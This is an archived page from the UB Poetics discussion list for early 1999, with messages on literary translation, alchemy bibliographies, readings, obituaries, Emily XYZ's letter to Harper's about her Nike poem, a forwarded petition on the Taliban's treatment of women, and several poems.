Iain Sinclair

(poet, 'intellectual best-seller' prose writer and film maker of renown and cult followings. His work in progress is a sequel to the 12 walks that became Lights Out for the Territory, and his poetry also acts as a reading of the city of London, "locations of the immediate and the unexpected".)

Douglas Oliver

("a rare London reading for this poet-explorer", says the flier, plus some, but excuse me, I'm off to do some exploring.)

Doug Oliver

↑ Index

130. Jamie Ferguson
Steiner, Venuti, Polish Baroque verse
Fri 29 Jan 1999

I'm looking for listmembers interested in literary translation.

In terms of theory, I'd be very interested to exchange opinions on George Steiner's AFTER BABEL, Lawrence Venuti's THE TRANSLATOR'S INVISIBILITY, Willis Barnstone's THE POETICS OF TRANSLATION.

And one corner of the field: archaizing translation, taken as a response to links between the poets and literary traditions of source- and target-languages. As an example: a sixteenth-century Polish poet, Mikolaj Sep-Szarzynski (meekowhy semp shajinski), who has a good deal in common with English proto-baroque religious poetry - Fulk Greville, among others. Both of these poets thrive on spiritual conflict, without indulging in intellectual paradox (as does Donne). The idea is that a poet like Greville would make little sense in contemporary English and that, in fact, his impact is inseparable from his language, style, form, etc. As Sep-Szarzynski expresses many of the same associations and cultural currents, the English of the one seems to me to make for an appropriate vehicle for translating the Polish of the other. On the basis of these kinds of parallels, I have translated a number of Sep's sonnets (as well as other early Polish poetry) into what some will no doubt call pastiche, but which I hope conveys a more organic sense of the period whose writings provide its linguistic bearings. I know that a proper explanation of this method would require a good deal more specific information and argument; for the moment, I am only curious to know if there are others on the list who either have already done some thinking about these matters or would like to begin thinking about them.

Thanks for your attention.

Jamie Harmon Ferguson

Here, then, is the sonnet, followed by my translation.

SONET V

O NIETRWALEJ MILOSCI RZECZY SWIATA TEGO

I nie milowac ciezko, i milowac
Nedzna pociecha, gdy zadza zwiedzione
Mysli cukruja nazbyt rzeczy one,
Które i mienic, i musza sie psowac.

Komu tak bedzie dostatkiem smakowac
Zloto, sceptr, slawa, rozkosz, i stworzone

Piekne oblicze, by tym nasycone
I mógl miec serce, i trwóg sie warowac.

Milosc jest wlasny bieg bycia naszego:
Ale z zywiolów utworzone cialo
To chwalac, co zna poczatku równego,
Zawodzi dusze, której wszystko malo,

Gdy ciebie, wiecznej i prawej pieknosci,
Samej nie widzi, celu swej milosci.

SONNET V

OF THE UNCONSTANT LOVE FOR THE THINGS OF THIS WORLD

And not to love is hard, and for to love
Meagre solace when thoughts astray in lust
Sweeten to excess those things which must
And change their hues, and still t'ward ruin move.

Who so well will it suffice to taste
Of gold, the sceptre, fame, delight, and beauty's
Created face, e'en that he might in these
Have sated heart, and 'gainst his dread resist?

Love is the very course of this our life:
And yet the flesh, of elementals wrought,
Praising what knows beginning like itself,
Forsaketh sprite, that findeth all but nought,

When Thee, ever during truest fair,
Thyself it seeth not, object of its care.

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↑ Index

131. **Maria Damon**
alchemy bibliography
Fri 29 Jan 1999

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the same student, an architect, who last quarter was interested in poetry or literary texts having to with metallurgy, is now interested in a bibliography on the poetics of alchemy. i know there are many links between alchemy and poetry, but i don't know any basic helpful texts, or poetry that is the result of alchemical experiment (other than, perhaps, gerrit lansing's). could ye out there e me some suggestions to pass on to him? thanks

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

February 1999

346 messages · Fri 29 Jan 1999 – Sat 27 Feb 1999

February 1999 unfolded against a Washington spectacle the poets could not quite be bothered to attend: on the twelfth the Senate acquitted a president, and the impeachment that had gripped the nation for a year simply evaporated, leaving behind — on this list, at least — little more than a wry thread passing around Gabriel García Márquez's opinion of Mr. Clinton. The wider world sent its own sombre news, King Hussein of Jordan dead on the seventh; but the room, as ever, kept mostly to its own weather, which that month turned elegiac and generous by turns.

The month's largest labour was a card-catalogue built in common. Jennifer Rosenthal, at work on the American long poem of 1945 to 1960 and particularly interested in *"issues of place,"* asked the list for what she had overlooked, and the list, which loves nothing so much as a bibliography, answered for weeks — Michael Boughn adding H.D.'s War Trilogy and Ronald Johnson's Ark, John Lowther pressing the claims of David Antin's talk poems — until the thread had become a small anthology of the century's longest ambitions. A parallel list took shape beside it when Maria Damon canvassed the room for an alchemy syllabus, and the citations came back in a torrent, Jung and Eliade and Robert Kelly, as though the members kept their libraries permanently open to one another.

Not every exchange was so collegial. Under the deliberately incendiary heading BATTLE OF THE SEXES, Chris Stroffolino wondered aloud whether the received wisdom that the women of his generation simply wrote better had gone too long unchallenged, and the room answered with force. Katherine Lederer supplied a roll-call of forthcoming titles — *"The females are on their way"* — while Aldon Nielsen turned the premise inside out with a single question about the very writers under discussion: *"how do you think they seem to others?"* It is a Poetics specialty, the quarrel that begins in provocation and ends, some forty posts later, having actually thought about something.

Death, though, kept pressing at the edges. When the translator Paul Schmidt died, Mark Prejsnar noticed the New York Times obituary describing Velimir Khlebnikov as *"the little-known Russian poet,"* and the phrase touched off a small, exact fury over how the paper of record disappears the very artists it pretends to bury with honour. The thread is, in miniature, the list's abiding anxiety: that the

difficult and the essential are forever being filed under little-known, and that someone had better keep the record straight.

And then, on the fourth, the record itself lost one of its keepers. Charles Bernstein wrote to say that Armand Schwerner — poet of The Tablets, that great invented archaeology of a broken, half-legible ancient tongue — had died that morning at 9:06, and closed the notice with the poet's own instruction to *"go into all the places you're frightened of."* The list did as it was told. Maria Damon, confessing herself devastated by a difficult, cranky, beloved man, signed off with the truest elegy the month produced — a pun that was also a prayer, three words long: *"dissolve the tablets."* I have set the arguments and the bibliographies on either side of that loss exactly as they came, because that is how February arrived: a company of poets building their endless shared library in one room while, in the next, one of its authors quietly closed his book.

— Kristen M. Fabians

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320. MAYHEW — (no subject)
321. nuyopoman — Belly of the Beast
322. Poetics List — Re: long poem / Rosenthal
323. Poetics List — Fw: [CHOMSKY] Ten Worst Corporations of 1998
324. Poetics List — Re: long poem / Rosenthal
325. Poetics List — Portable Creative Writing Workshop
326. Maria Damon — Re: long poem / Rosenthal
327. Mark Weiss — Re: Goodbye Paul, Goodby Khlebnikov
328. Daniel Kane — Events at Teachers & Writers Collaborative
329. Gerald Schwartz — Re: long poem / Rosenthal
330. Erik Sweet — "Tool A Magazine" party in NYC Friday night
331. izak — greek for teacher
332. Marjorie Perloff — David Antin
333. Christopher Reiner — New from AVEC BOOKS
334. Billy Little — Re: long poem / Rosenthal
335. david bromige — the longer poem
336. nuyopoman — Creeley on MiningCo

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337. A. Jenn Sondheim — i-iii existence meshine

338. J Kimball — Another word on / for William Bronk
339. Rebecca Wolff — Re: long poem / Rosenthal
340. Michael Scharf — Montale in NYTBR
341. Loss Pequen~o Glazier — Kenneth Goldsmith: Live at Hallwall's
342. D Baratier — Re: long poem / Rosenthal
343. Mairead Byrne — Re: POETICS Digest - 23 Feb 1999 to 24 Feb 1999 (#1999-32)
344. Poetry Project — This week at the Poetry Project
345. Magdalena Zurawski — WKCR 89.9

27 FEB 1999

346. Charles Bernstein — Richard Foreman

1. Mark Salerno
Writers & Poets Must Support Magazines
Fri 29 Jan 1999

Dear Colleagues:

I hope this message is not out of standard with the new guidelines for the List.

Let me encourage you all to support little magazines, and to support them with your dollars as well as your submissions. I am moved to say this because I recently had yet another desperate conversation with yet another desperate magazine distributor. These conduits for magazine distribution are experiencing hard times, thanks to the changing market place (chain stores) and changing technologies (Internet). If things continue as they are, magazine distribution as it is known today will very likely die off, because it is too labor intensive and no longer cost effective to run such a business.

This is all by way of saying that the market and the target consumer for writing is writers. If we do not buy the books that our colleagues write, and the magazines that they appear in, no one else will.

I hope this gentle reminder makes sense.

With good wishes,

Mark Salerno
Poet & Editor

↑ Index

2. miekal and
Re: alchemy bibliography
Fri 29 Jan 1999

University of WI-Madison rare books room has a good collection of 16th century alchemy books & mss, a friend spent several days poring thru them some years ago.

Miekal

↑ Index

3. Aldon Nielsen
Re: alchemy bibliography
Fri 29 Jan 1999

---

there were several "alchemical" texts during the "deep image" era -- One of the best places for your bibliography to start might be in the earlier works of Robert Kelly

(am away from my poetry library -- maybe somebody out there can recall the specific titles -- I think Kelly's collection of previously uncollected early poems had alchemy in the title)

↑ Index

4. **Maria Damon**
Re: alchemy bibliography
Fri 29 Jan 1999

---

thanks to all who have posted; any suggestions about books that introduce the basics of alchemy? or that riff on the metaphysical aspects of alchemy? handbooks in elementary magic or a bachelardian phenomenology? i think this is what my student wants to learn about, as well as reading examples of poetry that is alchemically inflected. thanks again all!

↑ Index

5. **nuyopoman**
Billboards
Fri 29 Jan 1999

The Triumph of Capitalism has not made it any easier to pay the rent.

Last month's Harpers (who published Marteen's letter in toto a year ago), had an intriguing piece on ads becoming art and artists making ads (like Beatles, like Rolling Stones, like Burroughs, like Ginsberg) that dissed Emily XYZ for her poem that "ran" as Nike ad. Emily ok'ed her response being posted here.

<<15 January 1999

Editor,
Harper’s Magazine
666 Broadway
New York NY 10012

Dear Sir:

In his article, “But Is It Advertising?” (January 1999), Jonathan Dee says that I am an example of a writer whose work “has no content -- which is to say, no connection between the language you use and your actual conviction.” Mr. Dee claims that because I wrote a poem for use in a Nike commercial, “millions” know me as “the poet from the Nike commercial,” therefore nullifying everything else I’ve done or will do. “[A]s for what her work concerns, the question is moot,” writes Mr. Dee, “since she has demonstrated that the content of that work is arbitrary; that is, it’s up for sale.” This is wrong on so many levels I hardly know where to begin responding.

Maybe the Pope was Michelangelo's Nike: The content of my writing is no more arbitrary than that of Mr. Dee or any other writer who may profit from his or her skill. Does he think that in order to be valid, a thing has to be created into the void? Can I assume, then, that he donated his article to Harper's magazine? Or that he would turn down a story assignment if the topic wasn't his idea?

I considered the Nike ad no different from any other commission or freelance job. Along with about 100 other poets, I was asked to submit poems in tribute to certain female Olympic athletes. I saw it as a challenge or a contest. It was not done in the same spirit as I usually write poetry, that is, without expectation of material gain. This was for a different purpose, just as I'm sure Mr. Dee has writings he considers different from those he would pitch to a magazine, or even different pieces for different magazines.

Which is not to say I didn't try to do a good job, even though I knew it might end up in a commercial. I found the stories of the women athletes inspiring. There was a certain transcendence in what some of them had gone through in their careers, and so I concentrated on making that point. Michelangelo might not have cared one way or the other whether a particular pope was remembered well, but he still did the best job he could.

However, the cloth coat is democratic: Mr. Dee seems to think that doing a commercial for Nike took me from obscurity to a terrible fame. Wrong! I am just as obscure as ever, only I'm a little less in debt and my grad-student husband and I own our first car -- an '86 Toyota Tercel. Not to sound too Republican-cloth-coat about this, but I got my BA as an adult, work full time, and am paying back mega-college loans. For me, that Nike ad was a godsend. But it did not make me rich, it did not make me famous, and it does not mean my work is up for sale.

You coulda called first: As for "what my work concerns," the question is really moot because Mr. Dee never bothered to find out what it concerns. He knows nothing whatsoever about me or what I do. Had he done a little research instead of just making assumptions, he would have found out that I was on the PBS series _The United States of Poetry_ a full two years before the Nike ad aired. To the extent that my work is known at all, it's largely for my participation in USOP, not in the commercial. He criticizes me in some pretty harsh terms for never having so much as picked up the phone to talk to me, or anyone who knows me, about what I do.

Calvin Klein's no friend of mine: Mr. Dee is also much more squeamish about the relationship between art and commerce than most people in 1999. Look at hip-hop, for example. Hip-hop artists use brand names and bits of commercials and TV shows constantly, not to break their power over us, but to tap into it --

to bring an audience closer via these familiar, shared references -- and by doing so, to consolidate their own power as artists and entertainers.

Saul, Saul!: What really bothered me, though, was Mr. Dee's sanctimonious criticism of other artists, like the late William Burroughs, who also did a Nike ad. Despite creating some of the greatest American literature of the 20th century and being acclaimed as one of the most influential writers ever, William Burroughs had money problems all his life. At some point he gets offered a chance for what we all want, a little security, a little comfort. Should he have turned it down, Mr. Dee, so that people like you, who are probably far more comfortable than he ever was, could have your hero? For what he did for his country, William Burroughs should have gotten a house by the sea and a pension for life. And in another country, he might have.

But the United States has always been hard on its artists, and never more so than right now. Right now, our society consists of people who expect artists to inspire them, but who don't know what inspiration is. They think it's what happens when you put a bindhi on your forehead or listen to Celine Dion. In fact, this society doesn't really want artists around at all (except for moneymakers like Celine Dion) because they think we're a drain on The Economy, which people nowadays tend to confuse with their personal money. Most people think of art as either a luxury or an expense. Either way, they wish it would just go away, and are only too happy to make its survival nearly impossible.

All of which just makes Mr. Dee's ire against artists and advertising even more superfluous than it might otherwise be. It's like he's a witness to Kristallnacht, but his big complaint is all the broken glass in the street.

Instead of worrying about the culture of advertising taking over, Mr. Dee, worry about our society's profound ignorance of the arts and artists. It is the end result of bigotry against and contempt for those who make art. Artists in the United States today are caught between a right-wing rock and a hard marketplace. Those are our choices. At least with the marketplace, you stand a chance of paying your bills.

Emily XYZ
[redacted]>>

Bob Holman

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6. Noam Scheindlin
Warsh, Mlinko, Mills Reading
Fri 29 Jan 1999

Susan Mills, Ange Mlinko, and Lewis Warsh will be reading at the Rising Cafe reading series.

Rising Cafe is at 186 Fifth Avenue, (Park Slope) Brooklyn. To get there from Manhattan, take the downtown N or R (make sure its a local train) and get off at the Union Street Station. Walk one block up to 5th Avenue.

Reading begins at 7:30.

_____
DO YOU YAHOO!?
Get your free @yahoo.com address at http://mail.yahoo.com

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7. Rebecca Wolff
Re: alchemy bibliography
Sat 30 Jan 1999

Brenda Hillman's recent work (in Loose Sugar) alludes to the idea of alchemy a lot, with words down at the bottom of the page that are the "result" of various mixtures above.

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8. Ron Silliman
Frances Jaffer
Sat 30 Jan 1999

Rae tells me that I'm turning into the angel of death by posting obit notices, but I think somebody should be doing this.

Frances Jaffer, a friend to many on this list and one of the editors of HOW(ever), passed away the other day. I've known her & Mark Linenthal for over 30 years and feel for him.

There's an obit by Steve Schwartz at

http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/1999/01/30/MN81680.DTL

↑ Index

9. Don Byrd
Alchemy
Sat 30 Jan 1999

> *From: Maria Damon <[redacted]>*
>
> *i know there are many links*
> *between alchemy and poetry, but i don't know any basic helpful texts, or*
> *poetry that is the result of alchemical experiment (other than, perhaps,*
> *gerrit lansing's). could ye out there e me some suggestions to pass on to*
> *him? thanks*

You are right about Lansing, and his book in the Curriculum of the Soul (Institute of Further Studies) would be essential stuff. Charles Stein's book on Olson--The Secret of the Black Chrysanthemum-- is a major text and has a good bibliography. It might be a little hard to find but the Alchemy issue of _Io_ (about 1970) would lead to a wealth of poetry, relevant texts, etc.

db

↑ Index

10. Billy Little
Goh Poh Seng at Havana
Sat 30 Jan 1999

Amazingly, at the height of the santa claus frenzy, on dec. 17 over one hundred people showed up at the Havana Restaurant on Commercial Drive to hear Goh Poh Seng read at the launch of his first substantial collection of poems in North America, The Girl from Ermita & Selected Poems 1961-1998 published by Nightwood . Everybody knows Vancouver is paved with poets but i haven't seen this many people turn out for a reading since Allen Ginsberg came to town. Perce Groves was there, Barbara Webb, Renee Rodin, Scott Harker, Roy Miki, George Stanley, Jenn Lamm, Jamie Reid, Jerry and Margaret Pethick, Mina Mina, the sufi poet Muhammad, Gerry Gilbert was taping it for broadcast on Coop radio, the future prime minister Jim and Rojeanne Allworth were there, Victoria Walker, Pearl Hunt, (maybe you could add a few names here Jim, i'm just trying to plant a few seeds for future literary historians and give a hint of the broad range of the audience) all of the hundred seats were filled, people stood in the back, others sat along the side and they sat there for nearly two hours. Poh Seng can be a real charmer, he put the audience at ease starting off with laughter some funny poems among the earliest poems he'd written as a teenager in Dublin; pretty soon, he was back in Southeast Asia, he read Vietnam 1967 and you could hear a pin drop so vivid stirs strong emotion like many of his poems, you can see what he says, half singer half storyteller, he

read poems he wrote in Manila, Singapore, New Zealand, Tahiti, Vancouver, Newfoundland, Hornby Island, San Miguel poems of friendship, poems of encounter, poems of outrage, domestic poems, poems of celebration. He read for an hour, had a ten minute break during which copies of the book so beautifully designed by his son Goh Kajin seemed to leap from the boxes, and cash flew from the pockets of the clamoring fans, people bought two and three(christmas, hanukah, ramadan after all). By the time he'd finished nearly an hour later, he'd read a sampling from each of his earlier books, Eyewitness, Lines from Batu Ferringhi, Bird With One Wing, and the most recent poems Spring Moon Blues which includes Gate of Heavenly Peace, the incredible Tian An Men Square poem that he'd written in Cowhead, Newfoundland, which marks his flowering as a canadian poet.. During the course of his reading he spoke of his emigration, his denunciation in the Singapore parliament, his adaptation to canada, and he closed the reading in his back garden on Victoria Drive. _____

WAKE FOR CHARLES WATTS

Summer's beginning
      to end
Beethoven's Fifth
on CBC Radio Two
pours out of the kitchen
onto the back deck
where I've been idling
          washing me down
onto our small back garden
which Margaret, the boys and I
started creating some four years back,
when we tried to make the house a home
Actually, the garden
was more Margaret's passion
         than the rest of us.

Come to think of it,
it was about the same time
you told me you had cancer
when we met strolling down
       Commercial Drive,
the main thoroughfare
       in our neighborhood.

Now, leaves are already yellowing,
wilted flowers waiting to be
         dead-headed,

plants and trees
cut back
for the Fall
for Winter
the small ceremonies
of living
and dying.

And this, one of the last
golden afternoons
when the other world
seems far away
or
perhaps very close by.

Vancouver
August, 1998

Our Back Garden
Victoria Drive

So brief, really
are these weeks of summer
conjured out of our back garden
that i should not hold on to them
simply let go.

There,
one sigh
and they're gone
forever.

Vietnam 1967

Beginning another vigil
he regards the tentative sun
through a fragmented sky;
otherwise there is only greenness.
In the still quiet dawn
he downs a mug of tea,
leans his rifle against a tree
and now and then recalls his home
unearths another day.
He is far from his hamlet.

It was an unquestioning life,
tilling the stubborn land that defies

the controlling hand of man.
There was consolation, now he knows
tha laughter of his child,
the softness of his wife who yielded to him at night
So what if kingdoms topple?

His dream shakes the silent air.

He sees his home gutted in the sun,
he sees his wife, head blown off,
the body of his child strewn
among young stubble of padi.

For days he prowled that waste
unable to quell his hate.
How to mobilize that precise pain?

Time passes.
Now and then a recall of home:
she chants at night to their child
who smiles, remembering small mischiefs.
After losing them,
their absence remains.

He makes his fists into a power
fierce as one whose sinews
could manage the sun.

In the glare of the sun
the planes beautiful
like silver spears
come in an eddy of air.

Amongst battered tree trunks
his blood splatter
into uncanny flowers.

Over the gentle contour of hills
and the sea,
the happy young crew from afar
returns to the air.

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy

↑ Index

11. Tom Beckett
Location Is Everything
Sat 30 Jan 1999

The Inside
is the Outside
doubled

Where are
our folds?

Fuck me
if I know

↑ Index

12. Joe Brennan
Petition: Mistreatment of Women
Sun 31 Jan 1999

In a message dated 1/31/99 10:04:36 AM Eastern Standard Time, [redacted] writes:

<<
> * Martin Dufresne
> * Montreal Men Against Sexism
>
> **
>
> The government of Afghanistan is waging a war upon women. The situation is
> getting so bad that one person in an editorial of the times compared the
> treatment of women there to the treatment of jews in pre-holocaust poland.
> Since the Taliban took power in 1996, women have had to wear burqua and
> have been beaten and stoned in public for not having the proper attire,
> even if this means simply not having the mesh covering in front of their
> eyes.
>
> One woman was beaten to DEATH by an angry mob of fundamentalists for
> accidentally exposing her arm while she was driving.
>
> Another was stoned to death for trying to leave the country with a man that
> was not a relative. Women are not allowed to work or even go out in public
> without a male relative; professional women such as professors,

> translators, doctors, lawyers, artists and writers have been forced from
> their jobs and stuffed into their homes, so that depression is becoming so
> widespread that it has reached emergency levels.
>
> There is no way in such an extreme islamic society to know the suicide rate
> with certainty, but relief workers are estimating that the suicide rate
> among women, who cannot find proper medication and treatment for severe
> depression and would rather take their lives than live in such conditions,
> has increased significantly. Homes where a woman is present must have their
> windows painted so that she can never be seen by outsiders. They must wear
> silent shoes so that they are never heard. Women live in fear of their
> lives for the slightest misbehavior. Because they cannot work, those
> without male relatives or husbands are either starving to death or begging
> on the street, even if they hold Ph.D.'s.
>
> There are almost no medical facilities available for women, and relief
> workers, in protest, have mostly left the country, taking medicine and
> psychologists and other things necessary to treat the skyrocketing level of
> depression among women.
>
> At one of the rare hospitals for women, a reporter found still, nearly
> lifeless bodies lying motionless on top of beds, wrapped in their burqua,
> unwilling to speak, eat or do anything, but are slowly wasting away. Others
> have gone mad and were seen crouched in corners perpetually rocking or
> crying, most of them in fear. One doctor is considering, when what little
> medication that is left finally runs out, leaving these women in front of
> the president's residence as a form of peaceful protest. It is at the point
> where the term 'human rights violations' have become an understatement.
>
> Husbands have the power of life and death over their women relatives,
> especially their wives, but an angry mob has just as much right to stone or
> beat a woman, often to death, for exposing an inch of flesh or offending
> them in the slightest way.
>
> David Cornwell has told me that we in the United States should not judge

> the Afghan people for such treatment because it is a 'cultural thing', but
> this is not even true. Women enjoyed relative freedom, to work, dress
> generally as they wanted, and drive and appear in public alone until only
> 1996 -- the rapidity of this transition is the main reason for the
> depression and suicide; women who were once educators or doctors or simply
> used to basic human freedoms are now severely restricted and treated as
> subhuman in the name of right-wing fundamentalist Islam. It is not their
> tradition or 'culture', but is alien to them, and it is extreme even for
> those cultures where fundamentalism is the rule. Besides, if we could
> excuse everything on cultural grounds, then we should not be appalled that
> the Carthaginians sacrificed their infant children, that little girls are
> circumcised in parts of Africa, that blacks in the deep south in the 1930's
> were lynched, prohibited from voting and forced to submit to unjust jim
> crow laws.
>
> Everyone has a right to a tolerable human existence, even if they are women
> in a muslim country in a part of the world that Americans do not understand.
>
> If we can threaten military force in Kosovo in the name of human rights for
> the sake of ethnic Albanians, Americans can certainly express peaceful
> outrage at the oppression, murder and injustice committed against women by
> the Taliban.
>
> **********
>
> STATEMENT:
>
> In signing this, we agree that the current treatment of women in
> Afghanistan is completely UNACCEPTABLE and deserves support and action by
> the people of the United States and the U.S. Government and that the
> current situation overseas will not be tolerated. Women's Rights is not a
> small issue anywhere and it is UNACCEPTABLE for women in 1998 to be treated
> as subhuman and so much as property. Equality and human decency is a RIGHT,

> not a freedom, whether one lives in Afghanistan or the United States.
>
> **********
>
> 1) Leslie London, Cape Town, South Africa
> [.....]
> 37) Melita Lykiardopoulou, Baltimore, MD
> 38) Dian Fetter, Washington, DC
> 39) Ioanna Tzioumi, Washington, DC
> **********
> 1)
>
>
> Ioanna Tzioumi
> [redacted]
>
>
>
>

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13. Mike Kelleher
new improved alyric 9
Sun 31 Jan 1999

Dear Listers and friends,

Please, if you have not done so already, but especially if you have, return to alyricamailer #9.

There were some egregious formatting errors which disfigured many of the poems. Further, there were some egergious editing errors (on talks by Nick Lawrence, Taylor Brady, Eleni Stecopoulos and Poems by Nick, Eleni, Ben Friedlander, Aaron Armstrong Skomra and Myself) which may have causde problems with the reading of certain of the texts. And last, Michelle Citrin is now spelled correctly and the poems (this was my fault and apologies to Michelle) she wanted included originally are now included as well. I can only say sorry to those whose work got skewed and hope in the future my html skills improve. Thanks again.

Mike

the mag is at

http://writing.upenn.edu/spc/alyric/alyric9.html

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14. Herb Levy
Poetry on radio shows?
Sun 31 Jan 1999

Hi all,

I'd be interested in any leads people have to radio shows that present contemporary poetry. So if you do such a show, or know of one, please respond to me at the e-mail address below.

Thanks a lot.

Herb Levy
[redacted]

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15. Herb Levy
Paul Metcalf
Sun 31 Jan 1999

From Sunday's NY Times

<http://www.nytimes.com/yr/mo/day/news/national/obit-metcalf.html>

Paul Metcalf, Who Wrote Experimental Tales, Dies at 81

By DINITIA SMITH

Paul Metcalf, who made his mark as an experimental writer of prose, poetry and plays, died on Jan. 21 near Pittsfield, Mass. He was 81 and lived in Chester, Mass.

His wife, Nancy, said Metcalf had a heart attack after buying apples at a farmers market not far from Arrowhead, the Berkshire home of Herman Melville, his great-grandfather.

"Like a medieval chronicler with the eye of a poet and the heart of a taleteller, he fits together radiant fragments into a wholly new kind of construct," the author Guy Davenport once wrote of Metcalf. His more than 20 books were often collages of first-person historical narratives, science writing, newspaper clips and his own words, woven together in a single fabric. "It was like a symphony, with sources like old diaries

and botanical descriptions as the different instruments," said his daughter Adrienne.

Nonetheless, the words had a cumulative effect. In his 1976 book "Apalache," an epic about the settlement of the New World, he mixed native and settler chronicles with his own musings: "The fragrance drifts seaward/we smelled the land a hundred leagues, and farther when they burned the cedars/before we come in sight of it thirty leagues, we smell a sweet savour/we had now fair sunshine weather, and so pleasant a sweet as did much refresh us, and there came a smell off the shore like the smell of a garden."

Metcalf came from a distinguished New England family. His mother was Eleanor Thomas Metcalf, a granddaughter of Herman Melville and his literary executor. His father, Henry Knight Metcalf, who worked for an insurance company, was a descendant of Roger Williams, the founder of Rhode Island.

Metcalf was born in East Milton, Mass., and was educated at private schools. He attended Harvard but disliked it and left after only three months. In 1942 he married Nancy Harman Blackford of Charleston, S.C., and during the next 20 years the couple spent long periods in the South. In addition to his wife, he is survived by a brother, David, of Topsham, Me.; two daughters, Anne Westmoreland of Schuyler, Va., and Adrienne, of Becket, Mass., and two granddaughters.

Early in his life, Metcalf thought little about his famous ancestor and his writings. His first book, "Will West," published in 1956, was a short novel about murder with a Cherokee as the protagonist.

But in the early 60s Metcalf returned to the Berkshires, and in his 1965 book, "Genoa," acknowledged the relationship to Melville. "Genoa" was one of his best-known works, a blend of references to Melville, other sources and his own language.

In the book, a man called Michael Mills muses about his own history, and his brother, Carl, who is a monster: "Herman would harangue his wife and two daughters (this was after the sons were gone) on matters that had no

interest for them, and they would roll their eyes, and sigh, and wait, or there would be outbursts of temper, sarcasm."

Metcalf told his hometown newspaper, The Berkshire Eagle, that the book "was a way of getting the Melville monkey off my back."

William H. Gass, reviewing "Genoa" in The New York Times, said that the book "invites us to pass our minds down a new but ancient track, to become, ourselves, both fact and fiction, and to discover something true about the geography of time."

Metcalf was a tall man with a powerful physical presence. In recent years, with his hair nearly shoulder length and his pipe in his mouth, he was a colorful figure. His home in Becket became a center for artists and writers in the area. As a writer he remained a cult figure, although in 1987 he was honored by the American Academy and Institute of Arts and Letters. Beginning in 1996, the Coffee House Press of Minneapolis published a three-volume edition of his collected works.

He also supported efforts to increase the collection of Melville's papers at Arrowhead and at the Berkshire Athenaeum in Pittsfield. In 1921, the manuscript of Melville's novel "Billy Budd" was discovered in a tin box in his family's home.

Several months ago, as Metcalf was moving out of his Becket house, he found two more boxes of family papers and memorabilia that he had long forgotten. He donated the papers to the Melville Room of the Berkshire Athenaeum.

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:

Herb Levy

[redacted]

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16. Craig Dworkin
Spring Reading Series
Sun 31 Jan 1999

Those of you in the area (that is: "nowhere Zen New Jersey" as Ginsberg put it) might want to mark your calendars and take a few long lunch breaks this Spring to come to a new series of readings I've put together:

24 February: Edwin Torres

31 March: Paul Muldoon

7 April: Sianne Ngai

14 April: Yusef Komunyakaa

21 April: Bruce Andrews

28 April: Kenny Goldsmith

Readings will be followed by open discussions on each poet's work. All readings are Wednesdays, at 12: 30, on the Princeton University campus, McCosh Hall, Room 4.

Driving directions, train schedules to Princeton, and a campus map can all be found at: http://www.princeton.edu/Siteware/WeatherTravel.shtml.

The series, held in conjunction with a course on contemporary poetry, is made possible by The Princeton University Department of English and the 250th Anniversary Fund for Innovation in Undergraduate Education.

Hope to see (some of) you there!
--Craig Dworkin

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17. Alex Davis
Cork Poetry Festival
Mon 1 Feb 1999

Please announce:

Listees may be interested to know that the Third Cork Conference on Innovative/Experimental Poetry, MAKE IT NEW (AGAIN) will take place from 23rd to 25 April, 1999, at The Granary Theatre, Mardyke Parade, Cork.
There will be readings, performances and papers from: cris cheek, Alex Davis, John Goodby, Randolph Healy, Fanny Howe, Romana Huk, Trevor Joyce, Karen Mac Cormack, Billy Mills, Drew Milne, Maurice Scully, Michael Smith, Geoffrey Squires, Keith Tuma and Catherine Walsh. Further details can be found at:

http://indigo.ie/~tjac/cork_poetry_conference.htm

As things fall into place, the webpage will be updated.

Please contact Alex Davis for further details.

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18. Charles Alexander
query
Mon 1 Feb 1999

Please send me names/performers of your favorite blues songs that make a conjunction of sacred and profane love. At this time, just blues, not gospel or r&b or soul songs. I don't exactly know where I'm going with this. I was just struck listening to "When Love Came to Town" (not even sure if that's the title) this morning, and while most of its verses have to do with denial of physical/emotional love between humans (but that was "before love came to town"), it has one verse where the protagonist "throws the dice" while soldiers are piercing the Lord in the side, but that too was "before love came to town," a happening that then transforms everything -- so all of a sudden there's this marvelous transformation of a fairly down & dirty song into a somewhat sacred song. I know this happens in some Renaissance poetry and other poetry of various periods, and I know I've heard it in the blues before, but I can't think of where right now. If you know any such songs, please send, if you can, song name, performer, and even what recording it appears on.

thanks,

charles
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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19. Pritchett,Patrick
Re: alchemy bibliography
Mon 1 Feb 1999

Here are a few texts that offer an excellent intro to alchemy, Maria:

Psychology & Alchemy - CG Jung - Princeton UP Alchemy - Titus Burkhardt - Penguin Books The Forge & The Crucible - Mircea Eliade - The Elements of Alchemy - Cherry Gilchrest - Element Books Claire-Voss, Karen. "Spiritual Alchemy: Interpreting Representative Texts and Images" Gnosis and Hermeticism from Antiquity to Modern Times. Edited by Roelof van den Broek & Wouter J. Hanegraaff. NY: SUNY Press, 1998. Alchemy of the word :

cabala of the Renaissance / Philip Beitchman, Albany : State University of New York Press, 1998 The essay by Karen Claire-Voss, which I used recently for a paper on Gaddis's _The Recognitions_, is especially recommended as it gives a succinct overview of the theory and praxis of alchemists. Peter Lamborn Wilson has also written at length about alchemy. The title that comes to mind is _Shower of Stars_ - can't recall the publisher off hand, but most likely it's Autonomedia in NYC. And for an intro to magic, try Richard Cavendish's _The Black Arts_. Your student might also be interested in works on or by the Elizabethan magus John Dee. There are several excellent works on him, most notably by Frances Yates (The Occult Philosophy In The Elizabethan Age) and Peter France (_John Dee_). Adam McLean has compiled a fascinating and beautiful work based on Dee's and Edward Kelly's scrying method called A Treatise On Angel Magic : Being A Complete Transcription Of Ms. Harley 6482 In The British Library And of course, there's always Henry Cornelius Agrippa, the 16th Century granddaddy of the mantic arts and the Golden Dawn material (Crowley, Mathers, AE Waite, et al) which derives directly from this tradition. Patrick Pritchett

> *-----Original Message-----*
> *From: Maria Damon [SMTP:[redacted]]*
> *Sent: Friday, January 29, 1999 10:52 AM*
> *To: [redacted]*
> *Subject: Re: alchemy bibliography*
>
> *thanks to all who have posted; any suggestions about books that introduce*
> *the basics of alchemy? or that riff on the metaphysical aspects of*
> *alchemy? handbooks in elementary magic or a bachelardian phenomenology?*
> *i*
